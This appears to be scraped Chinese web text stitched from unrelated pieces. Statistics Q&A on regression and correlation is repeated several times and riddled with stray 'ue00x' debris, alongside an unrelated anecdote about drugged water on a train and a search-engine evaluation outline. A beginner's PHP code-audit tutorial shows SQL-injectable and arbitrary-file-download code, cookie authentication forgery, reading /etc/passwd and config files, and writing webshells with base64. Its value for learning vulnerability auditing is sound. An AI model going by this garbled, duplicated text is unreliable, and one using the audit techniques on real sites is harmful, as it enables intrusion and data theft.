回归效果ue005拟合程度ue007拟合度ue006的ue007而是用Pearson积矩相关系数r来描述。这就更容易误导读者。随机变量:randomvariable定义ue008在一定范围内以一定的概率分布随机取值的变量。随机变量ue005randomvariableue006表示随机现象ue005在一定条件下ue007并不总是出现相同结果的现象称为随机现象ue006各种结果的变量ue005一切可能的样本点ue006。例如某一时间内公共汽车站等车乘客人数ue007电话交换台在一定时间内收到的呼叫次数等等ue007都是随机变量的实例。性质:不确定性和随机性:随机变量在不同的条件下由于偶然因素影响ue007其可能取各种不同的值ue007具有不确定性和随机性ue007但这些取值落在某个范围的概率是一定的ue007此种变量称为随机变量。随机变量可以是离散型的ue007也可以是连续型的。如分析测试中的测定值就是一个以概率取值的随机变量ue007被测定量的取值可能在某一范围内随机变化ue007具体取什么值在测定之前是无法确定的ue007但测定的结果是确定的ue007多次重复测定所得到的测定值具有统计规律性。随机变量与模糊变量的不确定性的本质差别在于ue001后者的测定结果仍具有不确定性ue001即模糊性。关于线性回归的问题。为什么一元线性回归的判定系数等于相关系数的平方ue003从各自的公式上看不存在这个关系难道只是数值近似ue003求推导。满意回答其实是关系是这样的ue002相关系数的值=判定系数的平方根ue001符号与x的参数相同。只是你没发现而已。他们用不同的表达式表达出来了。所以不能一眼看出来ue001推导有些复杂。但是ue001他们在概念上有明显区别ue001相关系数建立在相关分析基础之上ue001研究两个变量之间的线性相关关系。而判定系数建立在回归分析基础之上ue001研究一个随机变量对别一个随机变量的解释程度。一元回归分析中的决定系数spss一元回归分析结果解读我运用SPSS软件对自变量和因变量进行了回归分析ue001得到以下结果ue002R=0.378ADJUSTEDRSQUARE=0.058STD.ERROROFESTIMATE=2.51F=1.672SIG=0.225bete=-3.78t=-1.293这些都是什么意思啊ue00318:40满意回答R是自变量与因变量的相关系数ue001从r=0.378来看ue001相关性并不密切ue001是否相关性显著由于缺乏sig值无法判断。Rsquare就是回归分析的决定系数ue001说明自变量和因变量形成的散点与回归曲线的接近程度ue001数值介于0和1之间ue001这个数值越大说明回归的越好ue001也就是散点越集中于回归线上。从你的结果来看ue001R2=0.058ue001说明回归的不好。Sig值是回归关系的显著性系数ue001当他0.05ue001说明二者之间用当前模型进行回归没有统计学支持ue001应该换一个模型来进行回归。其它的ue003不懂ue001我也不看他们。总之ue001你的回归不好ue001建议换一个模型。变量之间是非线性的ue004有必要求相关系数吗?如题ue004要分析变量Z分别与变量X、Y之间的相关关系ue004但是Z与X的散点图呈非线性ue004Z与Y的散点图呈线性ue004我需要比较X、Y两个变量对Z产生的影响。那么分别求Z与X、Z与Y的相关关系数还有意义吗ue007回答:当研究ue005因变量z与自变量x、y之间的相关关系时ue004应当利用偏相关系数和复相关系数ue005若z是x,y的函数:z=z(x,y)1.偏相关系数ue005在z中去掉y的影响ue004算出对x的相关系数ue004就是z对x的偏相关系数ue002由于过程复杂仅简单说一下ue003ue004在z中去掉x的影响ue004算出对y的相关系数ue004就是z对y的偏相关系数。如果这两个偏相关系数的绝对值都接近1ue004表明ue005x、y对z有显著的影响ue006若z对x的偏相关值大ue004对y的值小ue004那么ue004x对z的影响大ue004y对z的影响小。2.复相关系数ue005在z中去掉噪声ue002全部的除x、y之外的一切干扰ue003ue004算出的相关系数叫复相关系数ue004它的值接近于1表明ue005x、y是对z的主要影响因素ue004除此之外的因素很小。3.总体判断可用复相关系数ue004个别判断可用偏相关系数4.对多元函数做相关分析时ue004简单的相关系数作用不大了ue004得采用复、偏相关系数分析。回答:一般来说ue004生活中各个变量之间的关系没有严格的线性。而相关系数就是说明近似线性的程度。所以有必要求相关系数ue004再判断两个变量之间的关系是否可以看成是近似线性的。所以ue004是有意义的。但是如果完全呈非线性ue004可以一眼看出来ue004那么求不求都无所谓了。复相关系数定义一个要素或变量同时与几个要素或变量之间的相关关系。复相关系数是度量复相关程度的指标ue004它可利用单相关系数和偏相关系数求得。复相关系数越大ue004表明要素或变量之间的线性相关程度越密切。复相关系数(多重相关系数)ue005多重相关的实质就是Y的实际观察值与由p个自变量预测的值的相关。前面计算的确定系数是Y与相关系数的平方ue004那么复相关系数就是确定系数的平方根。复相关系数的计算复相关系数是测量一个变量与其他多个变量之间线性相关程度的指标。它不能直接测算ue004只能采取一定的方法进行间接测算。为了测定一个变量y与其他多个变量X1,X2,,Xk之间的相关系数ue004可以考虑构造一个关于X1,X2,,Xk的线性组合ue004通过计算该线性组合与y之间的简单相关系数作为变量y与X1,X2,,Xk之间的复相关系数。如何消除多重共线性从而计算因变量和各个自变量之间相关系数?回答:消除多重共线性的方法ue0051.逐步回归ue0042.主成分回归ue0043.零回归~

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真是什么事都有啊---割了那人JJ-----，春节坐火车，水带的不多，别人给了我一瓶矿泉水但没喝，回到家懒的倒水就喝了那瓶水啊，尼玛从早上晕倒睡到现在了！火车上陌生人给的东西你还敢喝吗！

满意回答:回归分析与相关分析的联系ue008研究在专业上有一定联系的两个变量之间是否存在直线关系以及如何求得直线回归方程等问题ue007需进行直线相关和回归分析。从研究的目的来说ue007若仅仅为了了解两变量之间呈直线关系的密切程度和方向ue007宜选用线性相关分析ue009若仅仅为了建立由自变量推算因变量的直线回归方程ue007宜选用直线回归分析。从资料所具备的条件来说ue007作相关分析时要求两变量都是随机变量ue005如ue008人的身长与体重、血硒与发硒ue006ue009作回归分析时要求因变量是随机变量ue007自变量可以是随机的ue007也可以是一般变量(即可以事先指定变量的取值ue007如ue008用药的剂量)。在统计学教科书中习惯把相关与回归分开论述ue007其实在应用时ue007当两变量都是随机变量时ue007常需同时给出这两种方法分析的结果ue009另外ue007若用计算器实现统计分析ue007可用对相关系数的检验取代对回归系数的检验,这样到了化繁为简的目的。回归分析和相关分析都是研究变量间关系的统计学课题ue007它们的差别主要是ue0081、在回归分析中ue007y被称为因变量ue007处在被解释的特殊地位ue007而在相关分析中ue007x与y处于平等的地位ue007即研究x与y的密切程度和研究y与x的密切程度是一致的ue0092、相关分析中ue007x与y都是随机变量ue007而在回归分析中ue007y是随机变量ue007x可以是随机变量ue007也可以是非随机的ue007通常在回归模型中ue007总是假定x是非随机的ue0093、相关分析的研究主要是两个变量之间的密切程度ue007而回归分析不仅可以揭示x对y的影响大小ue007还可以由回归方程进行数量上的预测和控制。回归分析和相关分析的区别回归分析和相关分析是互相补充、密切联系的ue007相关分析需要回归分析来表明现象数量关系的具体形式ue007而回归分析则应该建立在相关分析的基础上。主要区别有:一,在回归分析中,不仅要根据变量的地位,作用不同区分出自变量和因变量,把因变量置于被解释的特殊地位,而且以因变量为随机变量,同时总假定自变量是非随机的可控变量.在相关分析中,变量间的地位是完全平等的,不仅无自变量和因变量之分,而且相关变量全是随机变量.二,相关分析只限于描述变量间相互依存关系的密切程度,至于相关变量间的定量联系关系则无法明确反映.而回归分析不仅可以定量揭示自变量对应变量的影响大小,还可以通过回归方程对变量值进行预测和控制.相关分析和回归分析是极为常用的2种数理统计方法ue007在科学研究领域有着广泛的用途。然而ue007由于这2种数理统计方法在计算方面存在很多相似之处ue007且在一些数理统计教科书中没有系统阐明这2种数理统计方法的内在差别ue007从而使一些研究者不能严格区分相关分析与回归分析。最常见的错误是:用回归分析的结果解释相关性问题。例如ue007作者将“回归直线ue005曲线ue006图”称为“相关性图”或“相关关系图”ue009将回归直线的R2(拟合度ue007或称“可决系数”)错误地称为“相关系数”或“相关系数的平方”ue009根据回归分析的结果宣称2个变量之间存在正的或负的相关关系。相关分析与回归分析均为研究2个或多个变量间关联性的方法ue007但2种数理统计方法存在本质的差别ue007即它们用于不同的研究目的。相关分析的目的在于检验两个随机变量的共变趋势ue005即共同变化的程度ue006ue007回归分析的目的则在于试图用自变量来预测因变量的值。在相关分析中ue007两个变量必须同时都是随机变量ue007如果其中的一个变量不是随机变量ue007就不能进行相关分析ue007这是相关分析方法本身所决定的。对于回归分析ue007其中的因变量肯定为随机变量ue005这是回归分析方法本身所决定的ue006ue007而自变量则可以是普通变量ue005有确定的取值ue006也可以是随机变量。如果自变量是普通变量ue007即模型Ⅰ回归分析ue007采用的回归方法就是最为常用的最小二乘法。如果自变量是随机变量ue007即模型Ⅱ回归分析ue007所采用的回归方法与计算者的目的有关。在以预测为目的的情况下ue007仍采用“最小二乘法”ue005但精度下降—最小二乘法是专为模型Ⅰ设计的ue007未考虑自变量的随机误差ue006ue009在以估值为目的ue005如计算可决系数、回归系数等ue006的情况下ue007应使用相对严谨的方法ue005如“主轴法”、“约化主轴法”或“Bartlett法”ue006。显然ue007对于回归分析ue007如果是模型Ⅱ回归分析ue007鉴于两个随机变量客观上存在“相关性”问题ue007只是由于回归分析方法本身不能提供针对自变量和因变量之间相关关系的准确的检验手段ue007因此ue007若以预测为目的ue007最好不提“相关性”问题ue009若以探索两者的“共变趋势”为目的ue007应该改用相关分析。如果是模型Ⅰ回归分析ue007就根本不可能回答变量的“相关性”问题ue007因为普通变量与随机变量之间不存在“相关性”这一概念ue005问题在于ue007大多数的回归分析都是模型Ⅰ回归分析ue004ue006。此时ue007即使作者想描述2个变量间的“共变趋势”而改用相关分析ue007也会因相关分析的前提不存在而使分析结果毫无意义。需要特别指出的是ue007回归分析中的R2在数学上恰好是Pearson积矩相关系数r的平方。因此ue007这极易使作者们错误地理解R2的含义ue007认为R2就是“相关系数”或“相关系数的平方”。问题在于ue007对于自变量是普通变量ue005即其取值有确定性的变量ue006、因变量为随机变量的模型Ⅰ回归分析ue0072个变量之间的“相关性”概念根本不存在ue007又何谈“相关系数”呢ue00a更值得注意的是ue007一些早期的教科书作者不是用R2来描述回归效果ue005拟合程度ue007拟合度ue006的ue007而是用Pearson积矩相关系数r来描述。这就更容易误导读者。随机变量:randomvariable定义ue008在一定范围内以一定的概率分布随机取值的变量。随机变量ue005randomvariableue006表示随机现象ue005在一定条件下ue007并不总是出现相同结果的现象称为随机现象ue006各种结果的变量ue005一切可能的样本点ue006。例如某一时间内公共汽车站等车乘客人数ue007电话交换台在一定时间内收到的呼叫次数等等ue007都是随机变量的实例。性质:不确定性和随机性:随机变量在不同的条件下由于偶然因素影响ue007其可能取各种不同的值ue007具有不确定性和随机性ue007但这些取值落在某个范围的概率是一定的ue007此种变量称为随机变量。随机变量可以是离散型的ue007也可以是连续型的。如分析测试中的测定值就是一个以概率取值的随机变量ue007被测定量的取值可能在某一范围内随机变化ue007具体取什么值在测定之前是无法确定的ue007但测定的结果是确定的ue007多次重复测定所得到的测定值具有统计规律性。随机变量与模糊变量的不确定性的本质差别在于ue001后者的测定结果仍具有不确定性ue001即模糊性。关于线性回归的问题。为什么一元线性回归的判定系数等于相关系数的平方ue003从各自的公式上看不存在这个关系难道只是数值近似ue003求推导。满意回答其实是关系是这样的ue002相关系数的值=判定系数的平方根ue001符号与x的参数相同。只是你没发现而已。他们用不同的表达式表达出来了。所以不能一眼看出来ue001推导有些复杂。但是ue001他们在概念上有明显区别ue001相关系数建立在相关分析基础之上ue001研究两个变量之间的线性相关关系。而判定系数建立在回归分析基础之上ue001研究一个随机变量对别一个随机变量的解释程度。一元回归分析中的决定系数spss一元回归分析结果解读我运用SPSS软件对自变量和因变量进行了回归分析ue001得到以下结果ue002R=0.378ADJUSTEDRSQUARE=0.058STD.ERROROFESTIMATE=2.51F=1.672SIG=0.225bete=-3.78t=-1.293这些都是什么意思啊ue00318:40满意回答R是自变量与因变量的相关系数ue001从r=0.378来看ue001相关性并不密切ue001是否相关性显著由于缺乏sig值无法判断。Rsquare就是回归分析的决定系数ue001说明自变量和因变量形成的散点与回归曲线的接近程度ue001数值介于0和1之间ue001这个数值越大说明回归的越好ue001也就是散点越集中于回归线上。从你的结果来看ue001R2=0.058ue001说明回归的不好。Sig值是回归关系的显著性系数ue001当他0.05ue001说明二者之间用当前模型进行回归没有统计学支持ue001应该换一个模型来进行回归。其它的ue003不懂ue001我也不看他们。总之ue001你的回归不好ue001建议换一个模型。变量之间是非线性的ue004有必要求相关系数吗?如题ue004要分析变量Z分别与变量X、Y之间的相关关系ue004但是Z与X的散点图呈非线性ue004Z与Y的散点图呈线性ue004我需要比较X、Y两个变量对Z产生的影响。那么分别求Z与X、Z与Y的相关关系数还有意义吗ue007回答:当研究ue005因变量z与自变量x、y之间的相关关系时ue004应当利用偏相关系数和复相关系数ue005若z是x,y的函数:z=z(x,y)1.偏相关系数ue005在z中去掉y的影响ue004算出对x的相关系数ue004就是z对x的偏相关系数ue002由于过程复杂仅简单说一下ue003ue004在z中去掉x的影响ue004算出对y的相关系数ue004就是z对y的偏相关系数。如果这两个偏相关系数的绝对值都接近1ue004表明ue005x、y对z有显著的影响ue006若z对x的偏相关值大ue004对y的值小ue004那么ue004x对z的影响大ue004y对z的影响小。2.复相关系数ue005在z中去掉噪声ue002全部的除x、y之外的一切干扰ue003ue004算出的相关系数叫复相关系数ue004它的值接近于1表明ue005x、y是对z的主要影响因素ue004除此之外的因素很小。3.总体判断可用复相关系数ue004个别判断可用偏相关系数4.对多元函数做相关分析时ue004简单的相关系数作用不大了ue004得采用复、偏相关系数分析。回答:一般来说ue004生活中各个变量之间的关系没有严格的线性。而相关系数就是说明近似线性的程度。所以有必要求相关系数ue004再判断两个变量之间的关系是否可以看成是近似线性的。所以ue004是有意义的。但是如果完全呈非线性ue004可以一眼看出来ue004那么求不求都无所谓了。复相关系数定义一个要素或变量同时与几个要素或变量之间的相关关系。复相关系数是度量复相关程度的指标ue004它可利用单相关系数和偏相关系数求得。复相关系数越大ue004表明要素或变量之间的线性相关程度越密切。复相关系数(多重相关系数)ue005多重相关的实质就是Y的实际观察值与由p个自变量预测的值的相关。前面计算的确定系数是Y与相关系数的平方ue004那么复相关系数就是确定系数的平方根。复相关系数的计算复相关系数是测量一个变量与其他多个变量之间线性相关程度的指标。它不能直接测算ue004只能采取一定的方法进行间接测算。为了测定一个变量y与其他多个变量X1,X2,,Xk之间的相关系数ue004可以考虑构造一个关于X1,X2,,Xk的线性组合ue004通过计算该线性组合与y之间的简单相关系数作为变量y与X1,X2,,Xk之间的复相关系数。如何消除多重共线性从而计算因变量和各个自变量之间相关系数?回答:消除多重共线性的方法ue0051.逐步回归ue0042.主成分回归ue0043.零回归~

0x01: 搜索所有的用户可控变量（GET/POST/COOKIE/referer）原因：所有用户输入都是有害的，代码审计注重函数和变量，先看看在什么地方会有输入可能出现的场景：a) id=$_GET["id"];可能存在的问题：无过滤的SQL注入：WooYun: chshcms 程氏CMS V3.0 注射（已在官方演示站测试）1$id=trim($_GET["id"]); //下面直接就进查询语句了1if($db->query("update ".Getdbname("dance")." set CS_TID=".$tid." where cs_user="".$cscms_name."" and当然，这是GET之后没做过滤的情景b) id=intval($_GET["id"]);可能存在的问题：intval对字符型无用，字符型变量是怎么处理的呢？如果字符型的addslashes，注意数字型盲注（见c2分析）c) $tid=XX_Request("tid");使用自己定义的安全过滤函数处理变量，很常见，很多框架都提供了解决方案，不过自己包装一个也是很常见的可能存在的问题：c1) 有没有忘记使用这个处理函数？WooYun: chshcms 程氏CMS V3.0 注射（已在官方演示站测试）$tid=CS_Request("tid"); //使用安全的CS_request addslash $id=trim($_GET["id"]); //呵呵呵，曲项向天歌，CS_Request哭了 其实还是上面那个例子，自己忘了用这函数过滤了c2) 函数本身是否安全？WooYun: (新)程氏舞曲CMS 三步GETSHELL（实例演示+源码详析）$t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName])); 使用了addslashes，这就意味着逃脱单引号难度加大，需要寻找没有单引号保护的语句注入addslashes只处理单引号和斜杠，因此无法过滤形如 134 and 1=1 这样的注射语句，请自行百度无单引号盲注在下面的语句中，$cscms_name就是有单引号保护的，而$id是没有单引号保护的$db->query("update ".Getdbname("xiaoxi")." set CS_DID=1 where CS_ID=".$id." and cs_usera="".$cscms_name."""); 所以id引发了盲注c3) 过滤函数能否满足业务逻辑的特殊需求？负数订单啦，自己修改自己的投票数啦，各种业务逻辑上的问题都有可能发生非常可惜，这个我还没撞见过，如果以后撞见再更新到文章里d) 不要忘记我们能控制referer等变量可能存在的问题：虽然发现GET/POST都过滤处理了，但是referer和cookie容易被忽视$_SERVER["HTTP_REFERER"] 例子：WooYun: MacCMS 6.x referer处理不当引发注射很遗憾，这个截至今日还未公开，等公开了大家再去看吧$_COOKIE["xxx"] 例子：WooYun: TCCMS全版本COOKIE注入（已演示证明）$sql="select password from ".$_Obj->table." where id=".$_COOKIE["userId"];情况和GET时是一样的，不过注入时操作起来稍微麻烦些，SQLMAP教程我就不粘贴到这里了，不会COOKIE注射的请百度e) 还有其他的输入变量，请各路高手带着实例补充！目前，我们了解了程序总体上是如何处理用户输入的0x02：单独搜索$_COOKIE，分析身份认证时的逻辑原因：身份验证属于业务逻辑中“高危”的部分，大部分的高危漏洞都出在这里可能出现的场景：a) 没有cookie处理，直接全是session那就等之后通读代码时直接去读认证算法好啦b) 认证算法中强度太弱（用可控的COOKIE算来算去），降低了伪造身份的难度WooYun: (新)程氏舞曲CMS 三步GETSHELL（实例演示+源码详析）第二步伪造身份时elseif($_COOKIE["CS_Login"]!=md5($_COOKIE["CS_AdminID"].$_COOKIE["CS_AdminUserName"].$_COOKIE["CS_AdminPassWord"].$_COOKIE["CS_Quanx"])){ 有什么意义呢？COOKIE我们能控制，当然之后程序有别的验证，这里只是举例，就这一句而言没有意义实际上漏洞里这个CMS这个算法，后面只是在认证时没有用到安装时admin写死在config里的验证码而已，不过难度已经降下来了c) 直接能绕过如果情况b 没有其他验证了，那就绕过了目前我们只是验证了登陆时的逻辑，之后还需分析权限的缜密程度0x03：搜索所有的文件操作函数，分析其逻辑原因：文件操作函数属于敏感函数，往往业务逻辑上的漏洞可能导致任意文件操作可能出现的场景：a) 任意文件下载WooYun: appcms 最新版 1.3.708 任意文件下载<?php if(isset($_GET["url"]) && trim($_GET["url"]) != "" && isset($_GET["type"])) { $img_url = base64_decode($_GET["url"]); $shffix = trim($_GET["type"]); header("Content-Type: image/{$shffix}"); readfile($img_url);} else {die("image not find"); } ?>PS：由于是业务逻辑上的问题，是没办法通过自动扫描发现的，而且针对SQL和HTML的过滤是起不到特大作用的任意文件读取的最大作用是读config.php 和各种系统的敏感文件（如何爆物理目录？请看0x04）b) 任意文件写入WooYun: CSCMS V3.5 最新版 后台命令执行GETSHELL（源码详析）任意文件写入的最大应用就是写马了，最大障碍是绕过过滤的HTML字符比如： <>，解决方式是大量应用base64c) 任意文件删除很遗憾，还没撞见过，要是撞见一个该多好任意文件删除的作用可以是删除install.lock，然后重装CMSd) 其他操作，求补充文件操作可以结合爆目录0x04：爆物理目录原因：上一小节我们可能能够任意操作文件，但没拿到网站的物理目录地址，的确可以用黑盒不停地试图读取 c:oot.ini 和 /etc/passwd 之类的来试图判断，但是这么弄实在不可靠怎么办：使用php vulnerability hunter 自动扫描就好了，这个确实可以偷懒用工具扫描，因为这个爆目录危害实在太低了，必须配合其他漏洞才有危害，所以一般CMS都会有这种漏洞，我是说能扫描出来的漏洞WooYun: appcms 最新版 1.3.708 任意文件下载如果你不知道物理路径，你可以试着用工具扫描一下，然后再读取0x05：搜索eval，preg_replace什么的，看看有没有命令执行原因：能直接执行PHP代码，也就是说可以写一句话木马了（file_put_contents），当然，要找可写目录这地方我一直没能找到例子，没有亲自实践过，求各路高手带实例提供几个？0x06：可以开始通读代码了，从index开始，注意的是数据的传输和输出函数原因：常见模式化的漏洞都不存在的话，就要分析整个系统了，因此需要完全而彻底地去做审计，这样比继续单独搜索变量然后跟踪更加省力一些可能出现的场景：a) 之前的过滤全白费了WooYun: YXcms1.2.0版本 存储式XSS（实站演示+源码分析）没公开，等公开再更新文章，这是一个存储式xssb) 二次注入由于二次开发中从数据库里取出的值没有过滤，导致注射，由于没有直接从用户输入中获得，所以之前步骤很难发现哎呀，求各路高手提供个示例呀，我这个自己也没有碰到过丫c) 平行权限、任意投票、越权访问 等等 等等 一大堆0x07 总结目前就知道这么些，希望能对刚接触PHP代码审计漏洞挖掘的新手有点帮助，由于我也是刚开始学习PHP漏洞挖掘不久，希望大家能广泛提供学习的建议以及思路，也请批评指正文章中不妥之处，更希望高手们能带着示例来指导。

第一步：明确评估的背景、目的、你所掌握的资源在这里我们假设一个第三方研究者，想比较百度和谷歌搜索到底哪个好。这个问题在知乎经常有人讨论，但大家大多只是说自己的使用感受，而没有人能拿出信服的调研数据，现在我们就是要解决这个问题。由于作为第三方研究者很难获取到两个搜索引擎完整的用户行为，即使有了不可控变量也太多，无法得到严谨的结论。但是抓取双方的搜索结果是很容易的第二步：确定评估方法评估的基本方法是显而易见的：选定N个query，把每一个query在两边同时搜一下就可以对二者进行横向比较了，最后算一个平均指标。1 对前N结果（一般都是3，有时还有5或10）逐个判断相关性，然后根据位置赋予权重，分别计算两侧搜索结果质量值（DCG）2 对两侧结果进行综合比较，给出一个相对值（左边好？右边好？好的程度？）第四步：数据准备1抽query：在本次评估的背景下，从数量上来说，使用1000个query作为样本是性价比比较高的选择。太少的话波动大，太多会标到吐血（熟练标注员每人每天可以标100Q左右）。Query必须随机抽取于近期用户自然产生的query，而不是自己凭空编出来的1000个词，这样能够确保Query类型（长短冷热中外...）的分布接近实际比例，进而才有可靠的结论2 抓网页：query确定下来，就要开始抓百度和谷歌的搜索结果了。为了保证结果公平可靠，应该进行盲测，即隐去两边品牌特征，再狠一点的，应该在评估过程中随机调换左右顺序。这里比较麻烦的是阿拉丁啊，知识图谱啊这类特型展现，熟悉搜索引擎的人一眼就看出是谁家的，这个暂时就没办法了，评估时尽量保持客观中立吧。第五步：评估最主要的部分来了，这里要对抓取的结果进行人工评估。你可以自己一个人连评10天；或者找几个人一起做，但是要先对他们进行统一培训，以免标准不一；也可以找一群人，每个人都做一遍，然后取他们平均数也好多数投票也好，当然也得培训了，还得防着滥竽充数的。成本和靠谱程度依次递增。第六步：统计这一步没啥好说的，按照之前想好的方式统计一下结果，做个总结就OK了。百度和谷歌谁更好，哪里好，好多少，一清二楚。

满意回答:回归分析与相关分析的联系ue008研究在专业上有一定联系的两个变量之间是否存在直线关系以及如何求得直线回归方程等问题ue007需进行直线相关和回归分析。从研究的目的来说ue007若仅仅为了了解两变量之间呈直线关系的密切程度和方向ue007宜选用线性相关分析ue009若仅仅为了建立由自变量推算因变量的直线回归方程ue007宜选用直线回归分析。从资料所具备的条件来说ue007作相关分析时要求两变量都是随机变量ue005如ue008人的身长与体重、血硒与发硒ue006ue009作回归分析时要求因变量是随机变量ue007自变量可以是随机的ue007也可以是一般变量(即可以事先指定变量的取值ue007如ue008用药的剂量)。在统计学教科书中习惯把相关与回归分开论述ue007其实在应用时ue007当两变量都是随机变量时ue007常需同时给出这两种方法分析的结果ue009另外ue007若用计算器实现统计分析ue007可用对相关系数的检验取代对回归系数的检验,这样到了化繁为简的目的。回归分析和相关分析都是研究变量间关系的统计学课题ue007它们的差别主要是ue0081、在回归分析中ue007y被称为因变量ue007处在被解释的特殊地位ue007而在相关分析中ue007x与y处于平等的地位ue007即研究x与y的密切程度和研究y与x的密切程度是一致的ue0092、相关分析中ue007x与y都是随机变量ue007而在回归分析中ue007y是随机变量ue007x可以是随机变量ue007也可以是非随机的ue007通常在回归模型中ue007总是假定x是非随机的ue0093、相关分析的研究主要是两个变量之间的密切程度ue007而回归分析不仅可以揭示x对y的影响大小ue007还可以由回归方程进行数量上的预测和控制。回归分析和相关分析的区别回归分析和相关分析是互相补充、密切联系的ue007相关分析需要回归分析来表明现象数量关系的具体形式ue007而回归分析则应该建立在相关分析的基础上。主要区别有:一,在回归分析中,不仅要根据变量的地位,作用不同区分出自变量和因变量,把因变量置于被解释的特殊地位,而且以因变量为随机变量,同时总假定自变量是非随机的可控变量.在相关分析中,变量间的地位是完全平等的,不仅无自变量和因变量之分,而且相关变量全是随机变量.二,相关分析只限于描述变量间相互依存关系的密切程度,至于相关变量间的定量联系关系则无法明确反映.而回归分析不仅可以定量揭示自变量对应变量的影响大小,还可以通过回归方程对变量值进行预测和控制.相关分析和回归分析是极为常用的2种数理统计方法ue007在科学研究领域有着广泛的用途。然而ue007由于这2种数理统计方法在计算方面存在很多相似之处ue007且在一些数理统计教科书中没有系统阐明这2种数理统计方法的内在差别ue007从而使一些研究者不能严格区分相关分析与回归分析。最常见的错误是:用回归分析的结果解释相关性问题。例如ue007作者将“回归直线ue005曲线ue006图”称为“相关性图”或“相关关系图”ue009将回归直线的R2(拟合度ue007或称“可决系数”)错误地称为“相关系数”或“相关系数的平方”ue009根据回归分析的结果宣称2个变量之间存在正的或负的相关关系。相关分析与回归分析均为研究2个或多个变量间关联性的方法ue007但2种数理统计方法存在本质的差别ue007即它们用于不同的研究目的。相关分析的目的在于检验两个随机变量的共变趋势ue005即共同变化的程度ue006ue007回归分析的目的则在于试图用自变量来预测因变量的值。在相关分析中ue007两个变量必须同时都是随机变量ue007如果其中的一个变量不是随机变量ue007就不能进行相关分析ue007这是相关分析方法本身所决定的。对于回归分析ue007其中的因变量肯定为随机变量ue005这是回归分析方法本身所决定的ue006ue007而自变量则可以是普通变量ue005有确定的取值ue006也可以是随机变量。如果自变量是普通变量ue007即模型Ⅰ回归分析ue007采用的回归方法就是最为常用的最小二乘法。如果自变量是随机变量ue007即模型Ⅱ回归分析ue007所采用的回归方法与计算者的目的有关。在以预测为目的的情况下ue007仍采用“最小二乘法”ue005但精度下降—最小二乘法是专为模型Ⅰ设计的ue007未考虑自变量的随机误差ue006ue009在以估值为目的ue005如计算可决系数、回归系数等ue006的情况下ue007应使用相对严谨的方法ue005如“主轴法”、“约化主轴法”或“Bartlett法”ue006。显然ue007对于回归分析ue007如果是模型Ⅱ回归分析ue007鉴于两个随机变量客观上存在“相关性”问题ue007只是由于回归分析方法本身不能提供针对自变量和因变量之间相关关系的准确的检验手段ue007因此ue007若以预测为目的ue007最好不提“相关性”问题ue009若以探索两者的“共变趋势”为目的ue007应该改用相关分析。如果是模型Ⅰ回归分析ue007就根本不可能回答变量的“相关性”问题ue007因为普通变量与随机变量之间不存在“相关性”这一概念ue005问题在于ue007大多数的回归分析都是模型Ⅰ回归分析ue004ue006。此时ue007即使作者想描述2个变量间的“共变趋势”而改用相关分析ue007也会因相关分析的前提不存在而使分析结果毫无意义。需要特别指出的是ue007回归分析中的R2在数学上恰好是Pearson积矩相关系数r的平方。因此ue007这极易使作者们错误地理解R2的含义ue007认为R2就是“相关系数”或“相关系数的平方”。问题在于ue007对于自变量是普通变量ue005即其取值有确定性的变量ue006、因变量为随机变量的模型Ⅰ回归分析ue0072个变量之间的“相关性”概念根本不存在ue007又何谈“相关系数”呢ue00a更值得注意的是ue007一些早期的教科书作者不是用R2来描述回归效果ue005拟合程度ue007拟合度ue006的ue007而是用Pearson积矩相关系数r来描述。这就更容易误导读者。随机变量:randomvariable定义ue008在一定范围内以一定的概率分布随机取值的变量。随机变量ue005randomvariableue006表示随机现象ue005在一定条件下ue007并不总是出现相同结果的现象称为随机现象ue006各种结果的变量ue005一切可能的样本点ue006。例如某一时间内公共汽车站等车乘客人数ue007电话交换台在一定时间内收到的呼叫次数等等ue007都是随机变量的实例。性质:不确定性和随机性:随机变量在不同的条件下由于偶然因素影响ue007其可能取各种不同的值ue007具有不确定性和随机性ue007但这些取值落在某个范围的概率是一定的ue007此种变量称为随机变量。随机变量可以是离散型的ue007也可以是连续型的。如分析测试中的测定值就是一个以概率取值的随机变量ue007被测定量的取值可能在某一范围内随机变化ue007具体取什么值在测定之前是无法确定的ue007但测定的结果是确定的ue007多次重复测定所得到的测定值具有统计规律性。随机变量与模糊变量的不确定性的本质差别在于ue001后者的测定结果仍具有不确定性ue001即模糊性。关于线性回归的问题。为什么一元线性回归的判定系数等于相关系数的平方ue003从各自的公式上看不存在这个关系难道只是数值近似ue003求推导。满意回答其实是关系是这样的ue002相关系数的值=判定系数的平方根ue001符号与x的参数相同。只是你没发现而已。他们用不同的表达式表达出来了。所以不能一眼看出来ue001推导有些复杂。但是ue001他们在概念上有明显区别ue001相关系数建立在相关分析基础之上ue001研究两个变量之间的线性相关关系。而判定系数建立在回归分析基础之上ue001研究一个随机变量对别一个随机变量的解释程度。一元回归分析中的决定系数spss一元回归分析结果解读我运用SPSS软件对自变量和因变量进行了回归分析ue001得到以下结果ue002R=0.378ADJUSTEDRSQUARE=0.058STD.ERROROFESTIMATE=2.51F=1.672SIG=0.225bete=-3.78t=-1.293这些都是什么意思啊ue00318:40满意回答R是自变量与因变量的相关系数ue001从r=0.378来看ue001相关性并不密切ue001是否相关性显著由于缺乏sig值无法判断。Rsquare就是回归分析的决定系数ue001说明自变量和因变量形成的散点与回归曲线的接近程度ue001数值介于0和1之间ue001这个数值越大说明回归的越好ue001也就是散点越集中于回归线上。从你的结果来看ue001R2=0.058ue001说明回归的不好。Sig值是回归关系的显著性系数ue001当他0.05ue001说明二者之间用当前模型进行回归没有统计学支持ue001应该换一个模型来进行回归。其它的ue003不懂ue001我也不看他们。总之ue001你的回归不好ue001建议换一个模型。变量之间是非线性的ue004有必要求相关系数吗?如题ue004要分析变量Z分别与变量X、Y之间的相关关系ue004但是Z与X的散点图呈非线性ue004Z与Y的散点图呈线性ue004我需要比较X、Y两个变量对Z产生的影响。那么分别求Z与X、Z与Y的相关关系数还有意义吗ue007回答:当研究ue005因变量z与自变量x、y之间的相关关系时ue004应当利用偏相关系数和复相关系数ue005若z是x,y的函数:z=z(x,y)1.偏相关系数ue005在z中去掉y的影响ue004算出对x的相关系数ue004就是z对x的偏相关系数ue002由于过程复杂仅简单说一下ue003ue004在z中去掉x的影响ue004算出对y的相关系数ue004就是z对y的偏相关系数。如果这两个偏相关系数的绝对值都接近1ue004表明ue005x、y对z有显著的影响ue006若z对x的偏相关值大ue004对y的值小ue004那么ue004x对z的影响大ue004y对z的影响小。2.复相关系数ue005在z中去掉噪声ue002全部的除x、y之外的一切干扰ue003ue004算出的相关系数叫复相关系数ue004它的值接近于1表